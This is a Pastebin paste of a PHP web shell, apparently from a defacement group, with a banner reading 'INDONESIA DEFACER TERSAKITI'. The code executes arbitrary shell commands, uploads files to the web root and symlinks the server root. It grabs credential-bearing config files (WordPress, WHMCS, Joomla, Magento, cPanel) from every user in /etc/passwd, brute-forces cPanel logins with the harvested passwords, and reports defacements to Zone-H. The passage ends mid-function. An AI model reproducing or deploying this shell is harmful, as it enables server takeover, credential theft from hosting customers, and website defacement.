API tools faq
paste
galau1337cok

myshell

galau1337cok
Feb 12th, 2017
208
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 70.28 KB | None | 0 0
raw download clone embed print report
  1.  
  2. <script language="JavaScript1.2">
  3.  
  4.  
  5.  
  6. function ClearError() {return true;}
  7.  
  8.  
  9.  
  10. window.onerror = ClearError;
  11.  
  12.  
  13.  
  14. </script>
  15.  
  16. <br>
  17. <br>
  18.  
  19.  
  20. <div align="center"><table border="0" width="70%"><tr><td>
  21.  
  22.  
  23.  
  24. <h1><font face="Bradley Hand ITC"><center><SCRIPT>
  25.  
  26.  
  27.  
  28. farbbibliothek = new Array();
  29.  
  30.  
  31.  
  32. farbbibliothek[0] = new Array("#FF0000","#FF1100","#FF2200","#FF3300","#FF4400","#FF5500","#FF6600","#FF7700","#FF8800","#FF9900","#FFaa00","#FFbb00","#FFcc00","#FFdd00","#FFee00","#FFff00","#FFee00","#FFdd00","#FFcc00","#FFbb00","#FFaa00","#FF9900","#FF8800","#FF7700","#FF6600","#FF5500","#FF4400","#FF3300","#FF2200","#FF1100");
  33.  
  34.  
  35.  
  36. farbbibliothek[1] = new Array("#FF0000","#FFFFFF","#FFFFFF","#FF0000");
  37.  
  38.  
  39.  
  40. farbbibliothek[2] = new Array("#FFFFFF","#FF0000","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF","#FFFFFF");
  41.  
  42.  
  43.  
  44. farbbibliothek[3] = new Array("#FF0000","#FF4000","#FF8000","#FFC000","#FFFF00","#C0FF00","#80FF00","#40FF00","#00FF00","#00FF40","#00FF80","#00FFC0","#00FFFF","#00C0FF","#0080FF","#0040FF","#0000FF","#4000FF","#8000FF","#C000FF","#FF00FF","#FF00C0","#FF0080","#FF0040");
  45.  
  46.  
  47.  
  48. farbbibliothek[4] = new Array("#FF0000","#EE0000","#DD0000","#CC0000","#BB0000","#AA0000","#990000","#880000","#770000","#660000","#550000","#440000","#330000","#220000","#110000","#000000","#110000","#220000","#330000","#440000","#550000","#660000","#770000","#880000","#990000","#AA0000","#BB0000","#CC0000","#DD0000","#EE0000");
  49.  
  50.  
  51. farbbibliothek[5] = new Array("#FF0000","#FF0000","#FF0000","#FFFFFF","#FFFFFF","#FFFFFF");
  52.  
  53.  
  54. farbbibliothek[6] = new Array("#FF0000","#FDF5E6");
  55.  
  56.  
  57.  
  58. farben = farbbibliothek[4];
  59.  
  60.  
  61.  
  62. function farbschrift()
  63.  
  64.  
  65.  
  66. {
  67.  
  68.  
  69.  
  70. for(var i=0 ; i<Buchstabe.length; i++)
  71.  
  72.  
  73.  
  74. {
  75.  
  76.  
  77.  
  78. document.all["a"+i].style.color=farben[i];
  79.  
  80.  
  81.  
  82. }
  83.  
  84.  
  85.  
  86. farbverlauf();
  87.  
  88.  
  89.  
  90. }
  91.  
  92.  
  93.  
  94. function string2array(text)
  95.  
  96.  
  97.  
  98. {
  99.  
  100.  
  101.  
  102. Buchstabe = new Array();
  103.  
  104.  
  105.  
  106. while(farben.length<text.length)
  107.  
  108.  
  109.  
  110. {
  111.  
  112.  
  113.  
  114. farben = farben.concat(farben);
  115.  
  116.  
  117.  
  118. }
  119.  
  120.  
  121.  
  122. k=0;
  123.  
  124.  
  125.  
  126. while(k<=text.length)
  127.  
  128.  
  129.  
  130. {
  131.  
  132.  
  133.  
  134. Buchstabe[k] = text.charAt(k);
  135.  
  136.  
  137.  
  138. k++;
  139.  
  140.  
  141.  
  142. }
  143.  
  144.  
  145.  
  146. }
  147.  
  148.  
  149.  
  150. function divserzeugen()
  151.  
  152.  
  153.  
  154. {
  155.  
  156.  
  157.  
  158. for(var i=0 ; i<Buchstabe.length; i++)
  159.  
  160.  
  161.  
  162. {
  163.  
  164.  
  165.  
  166. document.write("<span id='a"+i+"' class='a"+i+"'>"+Buchstabe[i] + "</span>");
  167.  
  168.  
  169.  
  170. }
  171.  
  172.  
  173.  
  174. farbschrift();
  175.  
  176.  
  177.  
  178. }
  179.  
  180.  
  181.  
  182. var a=1;
  183.  
  184.  
  185.  
  186. function farbverlauf()
  187.  
  188.  
  189.  
  190. {
  191.  
  192.  
  193.  
  194. for(var i=0 ; i<farben.length; i++)
  195.  
  196.  
  197.  
  198. {
  199.  
  200.  
  201.  
  202. farben[i-1]=farben[i];
  203.  
  204.  
  205.  
  206. }
  207.  
  208.  
  209.  
  210. farben[farben.length-1]=farben[-1];
  211.  
  212.  
  213.  
  214.  
  215.  
  216.  
  217.  
  218. setTimeout("farbschrift()",30);
  219.  
  220.  
  221.  
  222. }
  223.  
  224.  
  225.  
  226. //
  227.  
  228.  
  229.  
  230. var farbsatz=1;
  231.  
  232.  
  233.  
  234. function farbtauscher()
  235.  
  236.  
  237.  
  238. {
  239.  
  240.  
  241.  
  242. farben = farbbibliothek[farbsatz];
  243.  
  244.  
  245.  
  246. while(farben.length<text.length)
  247.  
  248.  
  249.  
  250. {
  251.  
  252.  
  253.  
  254. farben = farben.concat(farben);
  255.  
  256.  
  257.  
  258. }
  259.  
  260.  
  261.  
  262. farbsatz=Math.floor(Math.random()*(farbbibliothek.length-0.0001));
  263.  
  264.  
  265.  
  266. }
  267.  
  268.  
  269.  
  270. setInterval("farbtauscher()",9000);
  271.  
  272.  
  273.  
  274. text ="INDONESIA DEFACER TERSAKITI";//h
  275.  
  276.  
  277.  
  278. string2array(text);
  279.  
  280.  
  281.  
  282. divserzeugen();
  283.  
  284.  
  285.  
  286. //document.write(text);
  287.  
  288.  
  289.  
  290.  
  291. </SCRIPT></center></h1></font>
  292. <!Jembud>
  293. <html>
  294. <embed src="https://www.youtube.com/v/gZ1HidB0cNo&autoplay=1" type="application/x-shockwave-flash" flashvars="id=8ieil01vld0&amp;loop=1&amp;autoplay=1&amp;title=Tell me what you want :(" width="0" height="0" allowfullscreen="true" allowscriptaccess="always"></embed>
  295. <head>
  296. <link href="" rel="stylesheet" type="text/css">
  297. <title>KONtl</title>
  298. <style>
  299. body{
  300. font-family: "Racing Sans One", cursive;
  301. background: #00ff00 url("https://scontent-sit4-1.xx.fbcdn.net/v/t1.0-9/10429405_420371394788008_5220391784433287430_n.jpg?oh=19dc2ae615306e6819ba49204bb84621&oe=59198457") center;
  302. color:#A901DB;
  303. }
  304. #content tr:hover{
  305. background-color: lime;
  306. text-shadow:0px 0px 10px #01DF01;
  307. }
  308. #content .first{
  309. background-color: lime;
  310. }
  311. table{
  312. border: 1px #01DF01 dotted;
  313. }
  314. a{
  315. color:#01DF01;
  316. text-decoration: none;
  317. }
  318. a:hover{
  319. color:blue;
  320. text-shadow:0px 0px 10px #01DF01;
  321. }
  322. input,select,textarea{
  323. border: 1px #A901DB solid;
  324. -moz-border-radius: 5px;
  325. -webkit-border-radius:5px;
  326. border-radius:5px;
  327. }
  328. </style>
  329. </head>
  330. <?php
  331. function w($dir,$perm) {
  332.     if(!is_writable($dir)) {
  333.         return "<font color=lime>".$perm."</font>";
  334.     } else {
  335.         return "<font color=green>".$perm."</font>";
  336.     }
  337. }
  338. function exe($cmd) {
  339.     if(function_exists('system')) {        
  340.         @ob_start();       
  341.         @system($cmd);     
  342.         $buff = @ob_get_contents();        
  343.         @ob_end_clean();       
  344.         return $buff;  
  345.     } elseif(function_exists('exec')) {        
  346.         @exec($cmd,$results);      
  347.         $buff = "";        
  348.         foreach($results as $result) {         
  349.             $buff .= $result;      
  350.         } return $buff;    
  351.     } elseif(function_exists('passthru')) {        
  352.         @ob_start();       
  353.         @passthru($cmd);       
  354.         $buff = @ob_get_contents();        
  355.         @ob_end_clean();       
  356.         return $buff;  
  357.     } elseif(function_exists('shell_exec')) {      
  358.         $buff = @shell_exec($cmd);     
  359.         return $buff;  
  360.     }
  361. }
  362. function sulap($text) {
  363.   if(!get_magic_quotes_gpc()) {
  364.     return $text;
  365.     }
  366.   return stripslashes($text);
  367. }
  368. function ambilKata($param, $kata1, $kata2){
  369.     if(strpos($param, $kata1) === FALSE) return FALSE;
  370.     if(strpos($param, $kata2) === FALSE) return FALSE;
  371.     $start = strpos($param, $kata1) + strlen($kata1);
  372.     $end = strpos($param, $kata2, $start);
  373.     $return = substr($param, $start, $end - $start);
  374.     return $return;
  375. }
  376. function perms($file){
  377. $perms = fileperms($file);
  378. if (($perms & 0xC000) == 0xC000) {
  379. // Socket
  380. $info = 's';
  381. } elseif (($perms & 0xA000) == 0xA000) {
  382. // Symbolic Link
  383. $info = 'l';
  384. } elseif (($perms & 0x8000) == 0x8000) {
  385. // Regular
  386. $info = '-';
  387. } elseif (($perms & 0x6000) == 0x6000) {
  388. // Block special
  389. $info = 'b';
  390. } elseif (($perms & 0x4000) == 0x4000) {
  391. // Directory
  392. $info = 'd';
  393. } elseif (($perms & 0x2000) == 0x2000) {
  394. // Character special
  395. $info = 'c';
  396. } elseif (($perms & 0x1000) == 0x1000) {
  397. // FIFO pipe
  398. $info = 'p';
  399. } else {
  400. // Unknown
  401. $info = 'u';
  402. }
  403.  
  404. // Owner
  405. $info .= (($perms & 0x0100) ? 'r' : '-');
  406. $info .= (($perms & 0x0080) ? 'w' : '-');
  407. $info .= (($perms & 0x0040) ?
  408. (($perms & 0x0800) ? 's' : 'x' ) :
  409. (($perms & 0x0800) ? 'S' : '-'));
  410.  
  411. // Group
  412. $info .= (($perms & 0x0020) ? 'r' : '-');
  413. $info .= (($perms & 0x0010) ? 'w' : '-');
  414. $info .= (($perms & 0x0008) ?
  415. (($perms & 0x0400) ? 's' : 'x' ) :
  416. (($perms & 0x0400) ? 'S' : '-'));
  417.  
  418. // World
  419. $info .= (($perms & 0x0004) ? 'r' : '-');
  420. $info .= (($perms & 0x0002) ? 'w' : '-');
  421. $info .= (($perms & 0x0001) ?
  422. (($perms & 0x0200) ? 't' : 'x' ) :
  423. (($perms & 0x0200) ? 'T' : '-'));
  424.  
  425. return $info;
  426. }
  427. $sys = php_uname();
  428. $ip = gethostbyname($_SERVER['HTTP_HOST']);
  429. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? '<font>ON</font>' : '<font>OFF</font>';
  430. $getds = @ini_get("disable_functions");
  431. $ds = (!empty($getds)) ? "<font>$ds</font>" : "<font>NONE</font>";
  432. if(isset($_GET['path'])){
  433. $path = $_GET['path'];
  434. }else{
  435. $path = getcwd();
  436. }
  437. $path = str_replace('\\','/',$path);
  438. $paths = explode('/',$path);
  439. $home_r = $_SERVER['DOCUMENT_ROOT'];
  440. if(get_magic_quotes_gpc()){
  441. foreach($_POST as $key=>$value){
  442. $_POST[$key] = stripslashes($value);
  443. }
  444. }
  445. if($_POST['upload']) {
  446.         if($_POST['tipe_upload'] == 'biasa') {
  447.             if(@copy($_FILES['ix_file']['tmp_name'], "$path/".$_FILES['ix_file']['name']."")) {
  448.                 $act = "<font color=green>Uploaded!</font> at <i><b>$path/".$_FILES['ix_file']['name']."</b></i>";
  449.             } else {
  450.                 $act = "<font color=lime>Failed to upload file</font>";
  451.             }
  452.         } else {
  453.             $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
  454.             $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
  455.             if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
  456.                 if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
  457.                     $act = "<font color=green>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
  458.                 } else {
  459.                     $act = "<font color=lime>Failed to upload file</font>";
  460.                 }
  461.             } else {
  462.                 $act = "<font color=lime>Failed to upload file</font>";
  463.             }
  464.         }
  465.     }
  466.     echo "<center>Uploader :
  467.     <form method='post' enctype='multipart/form-data'>
  468.     <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($path,"Writeable")." ]
  469.     <input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
  470.     <input type='file' name='ix_file'>
  471.     <input type='submit' value='upload' name='upload'>
  472.     </form>";
  473.     echo $act;
  474. echo '
  475. <tr><td>
  476. <center>
  477. <input type="submit" value="Home" onclick="window.location=\'?\'"><input type="submit" value="Back" onclick="history.back(-1)"><input type="submit" value="Symlink" onclick="window.location=\'?path='.$path.'&kntd=symlink\'"><input type="submit" value="Config Grabber" onclick="window.location=\'?path='.$path.'&kntd=config\'"><input type="submit" value="Cpanel Cracker" onclick="window.location=\'?path='.$path.'&kntd=cpanelnih\'"><input type="submit" value="Adminer" onclick="window.location=\'?path='.$path.'&kntd=adminer\'"><input type="submit" value="Jumping" onclick="window.location=\'?path='.$path.'&kntd=jumping\'"><input type="submit" value="Zone-h" onclick="window.location=\'?path='.$path.'&kntd=zoneh\'"><input type="submit" value="Defacerid" onclick="window.location=\'?path='.$path.'&kntd=defid\'"><input type="submit" value="Back Connect" onclick="window.location=\'?path='.$path.'&kntd=network\'"><br><input type="submit" value="Mailer" onclick="window.location=\'?path='.$path.'&kntd=mail\'"><input type="submit" value="System Info" onclick="window.location=\'?path='.$path.'&kntd=info\'"><input type="submit" value="Bypass Vhost" onclick="window.location=\'?path='.$path.'&kntd=vhost\'"><input type="submit" value="Vhost Config Grabber" onclick="window.location=\'?path='.$path.'&kntd=vhostgrab\'"><input type="submit" value="Kill Self" onclick="window.location=\'?kntd=kill\'">
  478. </left>
  479. </td></tr></table><br>
  480. <table width="700" align="center">
  481. <tr><td><font color="white">Current Path :</font>';
  482. foreach($paths as $id=>$pat){
  483. if($pat == '' && $id == 0){
  484. $a = true;
  485. echo '<a href="?path=/">/</a>';
  486. continue;
  487. }
  488. if($pat == '') continue;
  489. echo '<a href="?path=';
  490. for($i=0;$i<=$id;$i++){
  491. echo "$paths[$i]";
  492. if($i != $id) echo "/";
  493. }
  494. echo '">'.$pat.'</a>/';
  495. }
  496. echo '</td></tr>';
  497. echo '</table>';
  498. if($_GET['unset'] == 'key') {
  499. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  500. echo "<script>window.location='?';</script>";
  501. }elseif($_GET['kntd'] == 'info') {
  502. echo '<br><table width="700" align="center">
  503. <tr><td>
  504. <center>
  505. System : '.$sys.'<br>
  506. IP : '.$ip.'<br>
  507. Safe Mode : '.$sm.'<br>
  508. Disabled Functions : '.$ds.'<br>
  509. Home_root : '.$home_r.'
  510. </center>
  511. </td></tr>
  512. </table>';
  513. }elseif($_GET['kntd'] == 'kill') {
  514. $fileini = $_SERVER['SCRIPT_FILENAME'];
  515. rmdir('kntd_sym');rmdir('kontol_conf');unlink($fileini);
  516. echo '<script>window.location="https://www.facebook.com/defacertersakititeam";</script>';
  517. }
  518. elseif($_GET['kntd'] == 'symlink') {
  519. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  520. $d0mains = @file("/etc/named.conf");
  521. ##httaces
  522. if($d0mains){
  523. @mkdir("kontol_sym",0777);
  524. @chdir("kontol_sym");
  525. @exe("ln -s / root");
  526. $file3 = 'Options Indexes FollowSymLinks
  527. DirectoryIndex noname.htm
  528. AddType text/plain .php
  529. AddHandler text/plain .php
  530. Satisfy Any';
  531. $fp3 = fopen('.htaccess','w');
  532. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  533. echo "
  534. <table align=center border=1 style='width:60%;border-color:#333333;'>
  535. <tr>
  536. <td align=center><font size=2>S. No.</font></td>
  537. <td align=center><font size=2>Domains</font></td>
  538. <td align=center><font size=2>Users</font></td>
  539. <td align=center><font size=2>Symlink</font></td>
  540. </tr>";
  541. $dcount = 1;
  542. foreach($d0mains as $d0main){
  543. if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
  544. flush();
  545. if(strlen(trim($domains[1][0])) > 2){
  546. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  547. echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
  548. <td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
  549. <td>".$user['name']."</td>
  550. <td><a href='$full/kontol_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
  551. flush();
  552. $dcount++;}}}
  553. echo "</table>";
  554. }else{
  555. $TEST=@file('/etc/passwd');
  556. if ($TEST){
  557. @mkdir("kontol_sym",0777);
  558. @chdir("kontol_sym");
  559. exe("ln -s / root");
  560. $file3 = 'Options Indexes FollowSymLinks
  561. DirectoryIndex noname.htm
  562. AddType text/plain .php
  563. AddHandler text/plain .php
  564. Satisfy Any';
  565.  $fp3 = fopen('.htaccess','w');
  566.  $fw3 = fwrite($fp3,$file3);
  567.  @fclose($fp3);
  568.  echo "
  569. <table align=center border=1><tr>
  570. <td align=center><font size=3>S. No.</font></td>
  571. <td align=center><font size=3>Users</font></td>
  572. <td align=center><font size=3>Symlink</font></td></tr>";
  573.  $dcount = 1;
  574.  $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  575.  while(!feof($file)){
  576.  $s = fgets($file);
  577.  $matches = array();
  578.  $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  579.  $matches = str_replace("home/","",$matches[1]);
  580.  if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  581.  continue;
  582.  echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  583. <td align=center><font class=txt>" . $matches . "</td>";
  584.  echo "<td align=center><font class=txt><a href=$full/kontol_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  585.  $dcount++;}fclose($file);
  586.  echo "</table>";}else{if($os != "Windows"){@mkdir("kontol_sym",0777);@chdir("kontol_sym");@exe("ln -s / root");$file3 = '
  587. Options Indexes FollowSymLinks
  588. DirectoryIndex noname.htm
  589. AddType text/plain .php
  590. AddHandler text/plain .php
  591. Satisfy Any
  592. ';
  593.  $fp3 = fopen('.htaccess','w');
  594.  $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  595.  echo "
  596. <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
  597. <table align=center border=1><tr>
  598. <td align=center><font size=3>ID</font></td>
  599. <td align=center><font size=3>Users</font></td>
  600. <td align=center><font size=3>Symlink</font></td></tr>";
  601.  $temp = "";$val1 = 0;$val2 = 1000;
  602.  for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
  603.  if ($uid)$temp .= join(':',$uid)."\n";}
  604.  echo '<br/>';$temp = trim($temp);$file5 =
  605.  fopen("test.txt","w");
  606.  fputs($file5,$temp);
  607.  fclose($file5);$dcount = 1;$file =
  608.  fopen("test.txt", "r") or exit("Unable to open file!");
  609.  while(!feof($file)){$s = fgets($file);$matches = array();
  610.  $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
  611.  if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  612.  continue;
  613.  echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  614. <td align=center><font class=txt>" . $matches . "</td>";
  615.  echo "<td align=center><font class=txt><a href=$full/kontol_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  616.  $dcount++;}
  617.  fclose($file);
  618.  echo "</table></div></center>";unlink("test.txt");
  619.  } else
  620.  echo "<center><font size=3>Cannot create Symlink</font></center>";
  621.  }
  622.  }
  623. }
  624. elseif($_GET['kntd'] == 'config') {
  625.     $etc = fopen("/etc/passwd", "r") or die("<pre><font color=lime>Can't read /etc/passwd</font></pre>");
  626.     $idx = mkdir("kontol_conf", 0777);
  627.     $isi_htc = "Options all\nRequire None\nSatisfy Any";
  628.     $htc = fopen("kontol_conf/.htaccess","w");
  629.     fwrite($htc, $isi_htc);
  630.     while($passwd = fgets($etc)) {
  631.         if($passwd == "" || !$etc) {
  632.             echo "<font color=lime>Can't read /etc/passwd</font>";
  633.         } else {
  634.             preg_match_all('/(.*?):x:/', $passwd, $user_config);
  635.             foreach($user_config[1] as $thiskntd) {
  636.                 $user_config_dir = "/home/$myuser/public_html/";
  637.                 if(is_readable($user_config_dir)) {
  638.                     $grab_config = array(
  639.                         "/home/$thiskntd/.my.cnf" => "cpanel",
  640.                         "/home/$thiskntd/.accesshash" => "WHM-accesshash",
  641.                         "/home/$thiskntd/public_html/po-content/config.php" => "Popoji",
  642.                         "/home/$thiskntd/public_html/vdo_config.php" => "Voodoo",
  643.                         "/home/$thiskntd/public_html/bw-configs/config.ini" => "BosWeb",
  644.                         "/home/$thiskntd/public_html/config/koneksi.php" => "Lokomedia",
  645.                         "/home/$thiskntd/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  646.                         "/home/$thiskntd/public_html/clientarea/configuration.php" => "WHMCS",
  647.                         "/home/$thiskntd/public_html/whm/configuration.php" => "WHMCS",
  648.                         "/home/$thiskntd/public_html/whmcs/configuration.php" => "WHMCS",
  649.                         "/home/$thiskntd/public_html/forum/config.php" => "phpBB",
  650.                         "/home/$thiskntd/public_html/sites/default/settings.php" => "Drupal",
  651.                         "/home/$thiskntd/public_html/config/settings.inc.php" => "PrestaShop",
  652.                         "/home/$thiskntd/public_html/app/etc/local.xml" => "Magento",
  653.                         "/home/$thiskntd/public_html/joomla/configuration.php" => "Joomla",
  654.                         "/home/$thiskntd/public_html/configuration.php" => "Joomla",
  655.                         "/home/$thiskntd/public_html/wp/wp-config.php" => "WordPress",
  656.                         "/home/$thiskntd/public_html/wordpress/wp-config.php" => "WordPress",
  657.                         "/home/$thiskntd/public_html/wp-config.php" => "WordPress",
  658.                         "/home/$thiskntd/public_html/admin/config.php" => "OpenCart",
  659.                         "/home/$thiskntd/public_html/slconfig.php" => "Sitelok",
  660.                         "/home/$thiskntd/public_html/application/config/database.php" => "Ellislab");
  661.                     foreach($grab_config as $config => $nama_config) {
  662.                         $ambil_config = file_get_contents($config);
  663.                         if($ambil_config == '') {
  664.                         } else {
  665.                             $file_config = fopen("kontol_conf/$thiskntd-$nama_config.txt","w");
  666.                             fputs($file_config,$ambil_config);
  667.                         }
  668.                     }
  669.                 }      
  670.             }
  671.         }  
  672.     }
  673.     echo "<br><center><a href='?path=$path/kontol_conf'><font>Done</font></a></center>";
  674. }elseif($_GET['kntd'] == 'adminer') {
  675.     $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  676.     function adminer($url, $isi) {
  677.         $fp = fopen($isi, "w");
  678.         $ch = curl_init();
  679.               curl_setopt($ch, CURLOPT_URL, $url);
  680.               curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  681.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  682.               curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  683.               curl_setopt($ch, CURLOPT_FILE, $fp);
  684.         return curl_exec($ch);
  685.               curl_close($ch);
  686.         fclose($fp);
  687.         ob_flush();
  688.         flush();
  689.     }
  690.     if(file_exists('adminer.php')) {
  691.         echo "<center><font><a href='$full/adminer.php' target='_blank'>-> Adminer <-</a></font></center>";
  692.     } else {
  693.         if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
  694.             echo "<center><font><a href='$full/adminer.php' target='_blank'>-> Adminer <-</a></font></center>";
  695.         } else {
  696.             echo "<center><font color=lime>gagal buat file adminer</font></center>";
  697.         }
  698.     }
  699. }elseif($_GET['kntd'] == 'cpanelnih') {
  700. echo '<center>';
  701.     if($_POST['crack']) {
  702.         $usercp = explode("\r\n", $_POST['user_cp']);
  703.         $passcp = explode("\r\n", $_POST['pass_cp']);
  704.         $i = 0;
  705.         foreach($usercp as $ucp) {
  706.             foreach($passcp as $pcp) {
  707.                 if(@mysql_connect('localhost', $ucp, $pcp)) {
  708.                     if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  709.                     } else {
  710.                         $_SESSION[$ucp] = "1";
  711.                         $_SESSION[$pcp] = "1";
  712.                         if($ucp == '' || $pcp == '') {
  713.                            
  714.                         } else {
  715.                             $i++;
  716.                             if(function_exists('posix_getpwuid')) {
  717.                                 $domain_cp = file_get_contents("/etc/named.conf"); 
  718.                                 if($domain_cp == '') {
  719.                                     $dom =  "<font color=lime>gabisa ambil nama domain nya</font>";
  720.                                 } else {
  721.                                     preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
  722.                                     foreach($domains_cp[1] as $dj) {
  723.                                         $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  724.                                         $user_cp_url = $user_cp_url['name'];
  725.                                         if($user_cp_url == $ucp) {
  726.                                             $dom = "<a href='http://$dj/' target='_blank'><font color=green>$dj</font></a>";
  727.                                             break;
  728.                                         }
  729.                                     }
  730.                                 }
  731.                             } else {
  732.                                 $dom = "<font color=lime>function is Disable by system</font>";
  733.                             }
  734.                             echo "username (<font color=green>$ucp</font>) password (<font color=green>$pcp</font>) domain ($dom)<br>";
  735.                         }
  736.                     }
  737.                 }
  738.             }
  739.         }
  740.         if($i == 0) {
  741.         } else {
  742.             echo "<br>sukses nyolong ".$i." Cpanel by <font color=green>Jembuten.</font>";
  743.         }
  744.     } else {
  745.         echo "<center>
  746.         <form method='post'>
  747.         USER: <br>
  748.         <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  749.         $_usercp = fopen("/etc/passwd","r");
  750.         while($getu = fgets($_usercp)) {
  751.             if($getu == '' || !$_usercp) {
  752.                 echo "<font color=lime>Can't read /etc/passwd</font>";
  753.             } else {
  754.                 preg_match_all("/(.*?):x:/", $getu, $u);
  755.                 foreach($u[1] as $user_cp) {
  756.                         if(is_dir("/home/$user_cp/public_html")) {
  757.                             echo "$user_cp\n";
  758.                     }
  759.                 }
  760.             }
  761.         }
  762.         echo "</textarea><br>
  763.         PASS: <br>
  764.         <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  765.         function cp_pass($dir) {
  766.             $pass = "";
  767.             $dira = scandir($dir);
  768.             foreach($dira as $dirb) {
  769.                 if(!is_file("$dir/$dirb")) continue;
  770.                 $ambil = file_get_contents("$dir/$dirb");
  771.                 if(preg_match("/WordPress/", $ambil)) {
  772.                     $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  773.                 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  774.                     $pass .= ambilkata($ambil,"password = '","'")."\n";
  775.                 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  776.                     $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  777.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  778.                     $pass .= ambilkata($ambil,'password = "','"')."\n";
  779.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  780.                     $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  781.                 } elseif(preg_match("/^[client]$/", $ambil)) {
  782.                     preg_match("/password=(.*?)/", $ambil, $pass1);
  783.                     if(preg_match('/"/', $pass1[1])) {
  784.                         $pass1[1] = str_replace('"', "", $pass1[1]);
  785.                         $pass .= $pass1[1]."\n";
  786.                     } else {
  787.                         $pass .= $pass1[1]."\n";
  788.                     }
  789.                 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  790.                     $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  791.                 }
  792.             }
  793.             echo $pass;
  794.         }
  795.         $cp_pass = cp_pass($dir);
  796.         echo $cp_pass;
  797.         echo "</textarea><br>
  798.         <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  799.         </form>
  800.         <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  801.     }
  802. }
  803. elseif($_GET['kntd'] == 'zoneh') {
  804.     if($_POST['submit']) {
  805. echo '<center>';
  806.         $domain = explode("\r\n", $_POST['url']);
  807.         $nick =  $_POST['nick'];
  808.         echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  809.         echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  810.         function zoneh($url,$nick) {
  811.             $ch = curl_init("http://www.zone-h.com/notify/single");
  812.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  813.                   curl_setopt($ch, CURLOPT_POST, true);
  814.                   curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  815.             return curl_exec($ch);
  816.                   curl_close($ch);
  817.         }
  818.         foreach($domain as $url) {
  819.             $zoneh = zoneh($url,$nick);
